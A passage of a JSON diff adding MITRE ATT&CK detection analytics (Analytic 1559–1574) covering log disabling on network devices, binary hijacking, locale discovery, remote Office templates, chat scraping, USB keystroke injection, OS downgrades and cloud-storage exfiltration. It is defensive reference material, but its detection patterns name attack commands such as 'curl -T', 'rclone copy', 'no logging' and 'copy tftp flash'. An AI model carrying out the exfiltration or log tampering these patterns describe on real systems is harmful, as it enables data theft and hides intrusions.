"modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0563#AN1559", + "external_id": "AN1559" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1559", + "description": "Detection of CLI commands that disable history logging such as 'no logging'. Anomalous lack of new commands in session logs while activity persists is a strong signal.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:cli", + "channel": "Commands like 'no logging' or equivalents that disable session history" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DeviceVendors", + "description": "Command syntax differs across Cisco, Juniper, Fortinet, etc., requiring vendor-aware tuning." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--578c821c-f8e3-45e7-a9b4-9aed6c84309a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0564#AN1560", + "external_id": "AN1560" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1560", + "description": "Processes executing binaries named after legitimate system utilities (e.g., net.exe, findstr.exe, python.exe) from non-standard or application-specific directories, combined with file creation or modification events for such binaries. Defender correlates file writes in vulnerable directories, process execution paths inconsistent with baseline system paths, and abnormal parent-child relationships in process lineage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SuspiciousBinaryList", + "description": "Common system utilities often hijacked (e.g., net.exe, cmd.exe, powershell.exe, python.exe)." + }, + { + "field": "MonitoredDirectories", + "description": "Directories where executables should not normally be written (e.g., application folders, user profile subdirs)." + }, + { + "field": "TimeWindow", + "description": "Correlation window between file creation and subsequent process execution." + }, + { + "field": "ParentProcessBaseline", + "description": "Expected parent processes for critical system binaries, deviations may indicate hijacking." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b8685b0b-f96e-41a4-8e01-eec252756447", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0565#AN1561", + "external_id": "AN1561" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1561", + "description": "Registry access to system language keys (e.g., HKLM\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language) or suspicious processes invoking locale-related APIs (e.g., GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList). Defender visibility focuses on anomalous or non-standard processes issuing these queries, especially when run by unknown binaries or scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "ETW", + "channel": "Calls to GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessAllowList", + "description": "Defines trusted processes allowed to query registry language keys or APIs. Unexpected parent-child process chains may indicate adversary use." + }, + { + "field": "QueryThreshold", + "description": "Frequency threshold for language registry or API calls within a set time window." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c625c090-edcc-431a-a2fb-c31e4eb5f2cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0565#AN1562", + "external_id": "AN1562" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1562", + "description": "Processes executing commands to query system locale and language settings, such as 'locale', 'echo $LANG', or parsing environment variables. Suspicious activity is indicated by these commands being run by unusual users, automation scripts, or non-administrative processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve calls to /usr/bin/locale or shell execution of $LANG" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "linux:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Unexpected or non-admin users executing locale commands may suggest malicious behavior." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ffc71b21-982b-4fc7-8276-bd679d67bc95", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0565#AN1563", + "external_id": "AN1563" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1563", + "description": "Execution of commands to query system locale and language settings, such as 'defaults read -g AppleLocale' or 'systemsetup -gettimezone'. Unusual parent processes or execution contexts of these commands may indicate adversarial discovery.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "defaults read -g AppleLocale or systemsetup -gettimezone" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutionPath", + "description": "Restrict or monitor processes outside of system utilities that query AppleLocale or system language settings." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dea5f6cc-d3bb-404b-8aab-f7366988a96e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0566#AN1564", + "external_id": "AN1564" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1564", + "description": "Detection of Office or document viewer processes (e.g., winword.exe) initiating network connections to remote templates or executing scripts due to manipulated template references (e.g., embedded in .docx, .rtf, or .dotm files), followed by suspicious child process creation (e.g., PowerShell).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TemplateURLPatterns", + "description": "Can be tuned to flag known bad domains or external resources in template fields." + }, + { + "field": "ParentProcess", + "description": "May be environment-specific; typically Word, Excel, PowerPoint." + }, + { + "field": "TimeWindow", + "description": "Correlation window for process + network activity." + }, + { + "field": "ChildProcessAnomalyThreshold", + "description": "Trigger when document-spawned child process deviates from expected profile." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--222cf26f-e5cc-4b60-a7b2-39118b5c20d6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0567#AN1565", + "external_id": "AN1565" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1565", + "description": "Atypical access to Slack or Teams conversations via APIs, automation tokens, or bulk message export functionality, particularly after an account takeover or rare sign-in pattern. Often includes mass retrieval of chat history, download of message content, or scraping of workspace/channel metadata.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:slack", + "channel": "conversations.history, files.list, users.info, audit_logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "m365:signinlogs", + "channel": "UserLoggedIn" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time interval to observe post-login message scraping behavior" + }, + { + "field": "MessageExportThreshold", + "description": "Number of messages or files accessed/downloaded to flag for review" + }, + { + "field": "UserContext", + "description": "User privilege level, team membership, or role context to suppress false positives" + }, + { + "field": "AccessMethod", + "description": "Direct user access vs API token, OAuth app, or bot interaction" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0c833a56-ca8e-41d8-b79a-3f3c89c63a48", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0567#AN1566", + "external_id": "AN1566" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1566", + "description": "Suspicious access to Microsoft Teams chat messages via eDiscovery, Graph API, or export methods after rare or compromised sign-in. Often associated with excessive file access, sensitive content review, or anomaly from expected user behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "TeamsMessagesAccessedViaEDiscovery, TeamsGraphMessageExport" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "m365:signinlogs", + "channel": "UserLoggedIn" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserRole", + "description": "Whether user is part of InfoSec, Legal, or expected to use Teams eDiscovery tools" + }, + { + "field": "GeoRiskScore", + "description": "Unusual country/IP sign-in patterns prior to Teams data export" + }, + { + "field": "AccessVolume", + "description": "Message or file threshold for triggering alert" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0f05915c-e146-4921-840b-1a08774ca4d2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0568#AN1567", + "external_id": "AN1567" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1567", + "description": "Detects suspicious USB HID device enumeration and keystroke injection patterns, such as rapid sequences of input with no user context, scripts executed through simulated keystrokes, or rogue devices presenting themselves as keyboards.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "WinEventLog:System", + "channel": "20001-20003" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "4688, 4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthorizedUSBDevices", + "description": "List of known, legitimate USB vendor/product IDs authorized for use in the enterprise." + }, + { + "field": "ExecutionTimeWindow", + "description": "Restrict detection to times when no user is logged in or activity is outside business hours." + }, + { + "field": "ParentProcessWhitelist", + "description": "List of legitimate parent processes expected to spawn PowerShell or scripting engines." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b61673d6-244f-4888-9370-1a3ef391a6c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0568#AN1568", + "external_id": "AN1568" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1568", + "description": "Detects USB HID device enumeration under `/sys/bus/usb/devices/` and rapid keystroke injection resulting in command execution such as bash or Python scripts launched without interactive user activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: parent process is usb/hid device handler, child process bash/python invoked" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "linux:syslog", + "channel": "New HID device enumeration with type 'keyboard' followed by immediate input injection" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "USBVendorIDs", + "description": "Track suspicious or unapproved USB vendor/product IDs." + }, + { + "field": "ScriptExecutionThreshold", + "description": "Time threshold for script execution after HID injection, e.g., less than 10 seconds." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4b47697b-ff9b-4af7-a079-d34210cebdab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0568#AN1569", + "external_id": "AN1569" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1569", + "description": "Detects abnormal HID device enumeration via I/O Registry (ioreg -p IOUSB) and keystroke injection targeting AppleScript, osascript, or PowerShell equivalents. Defender correlates new USB device connections with rapid script execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "macos:unifiedlog", + "channel": "New IOUSB keyboard/HID device enumerated with suspicious attributes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "macos:unifiedlog", + "channel": "osascript, AppleScript, or Python execution triggered immediately after HID connection" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedAppleScripts", + "description": "Whitelist of AppleScripts expected in the environment, to minimize false positives." + }, + { + "field": "TimeWindow", + "description": "Timeframe between HID injection and script execution considered suspicious." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--370daadc-e640-4487-8ba0-c897f46459bc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0569#AN1570", + "external_id": "AN1570" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1570", + "description": "Defenders may observe adversary attempts to downgrade system images by monitoring for anomalous file transfers of OS image files (via TFTP, FTP, SCP), configuration changes pointing boot system variables to older image files, unexpected OS version strings after reboot, and checksum mismatches against approved baseline images. Suspicious chains include transfer of an older image, alteration of boot configuration, and reboot/reload of the device. Adversaries may also tamper with CLI output to disguise downgrade attempts, requiring independent validation of OS version and integrity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:cli", + "channel": "Execution of commands such as 'copy tftp flash', 'boot system ', 'reload'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "networkdevice:config", + "channel": "Configuration changes referencing older image versions or unexpected boot parameters" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "networkdevice:syslog", + "channel": "OS version query results inconsistent with expected or approved version list" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApprovedFirmwareVersions", + "description": "Whitelist of supported and validated OS versions for devices; helps reduce false positives." + }, + { + "field": "ChecksumBaseline", + "description": "Baseline cryptographic hashes of valid OS images; deviations indicate possible downgrade or tampering." + }, + { + "field": "TimeWindow", + "description": "Correlation period to detect the chain of file transfer \u2192 boot config change \u2192 reboot event." + }, + { + "field": "AuthorizedAdminAccounts", + "description": "Accounts authorized to perform OS upgrades/downgrades; anomalies suggest misuse or compromise." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a74c34c2-f4bf-4bd0-9f23-7c04c45b93ca", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0570#AN1571", + "external_id": "AN1571" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1571", + "description": "Unusual processes (e.g., powershell.exe, excel.exe) accessing large local files and subsequently initiating HTTPS POST requests to domains associated with cloud storage services (e.g., dropbox.com, drive.google.com, box.com). Defender perspective: correlation between file reads in sensitive directories and high outbound traffic volume to known storage APIs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CloudStorageDomains", + "description": "List of monitored domains for cloud services (dropbox.com, drive.google.com, onedrive.live.com)." + }, + { + "field": "ExfilVolumeThreshold", + "description": "Data volume threshold (e.g., >10MB in single session) used to flag abnormal transfers." + }, + { + "field": "UserContext", + "description": "User accounts permitted to use sanctioned cloud services versus unexpected accounts." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5012d2b2-bd36-431c-91d3-4c10b7d3a9d6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0570#AN1572", + "external_id": "AN1572" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1572", + "description": "Processes such as curl, wget, rclone, or custom scripts executing uploads to cloud storage endpoints. Defender perspective: detect chained events where tar/gzip is executed to compress files followed by HTTPS PUT/POST requests to known storage services.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:EXECVE", + "channel": "curl -T, rclone copy" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "read/open of sensitive file directories" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "large HTTPS outbound uploads" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedTools", + "description": "Known tools used legitimately for backups (rclone, gsutil). Deviations raise suspicion." + }, + { + "field": "WorkHours", + "description": "Baseline normal data transfer hours to reduce false positives." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--535e9bc8-b033-4aee-88e1-bd48699b7856", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0570#AN1573", + "external_id": "AN1573" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1573", + "description": "Applications or scripts invoking cloud storage APIs (Dropbox sync, iCloud, Google Drive client) in unexpected contexts. Defender perspective: detect sensitive file reads by non-standard applications followed by unusual encrypted uploads to external cloud storage domains.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "execution of curl, rclone, or Office apps invoking network sessions" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "file read of sensitive directories" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "outbound HTTPS connections to cloud storage APIs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedApps", + "description": "Track processes that normally should not upload data (e.g., Preview, Calculator)." + }, + { + "field": "EntropyThreshold", + "description": "High-entropy file uploads may indicate encrypted payloads designed for exfiltration." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--682f84f1-5571-4d41-b071-53c8f72a88f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0570#AN1574", + "external_id": "AN1574" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1574", + "description": "Unusual ESXi processes (vmx, hostd) reading datastore files and generating outbound HTTPS traffic toward external cloud storage endpoints. Defender perspective: anomalous datastore activity followed by network transfers to Dropbox, AWS S3, or other storage services.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "esxi:hostd", + "channel": "datastore file access" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:vmkernel", + "channel": "network flows to external cloud services" + } + ], + 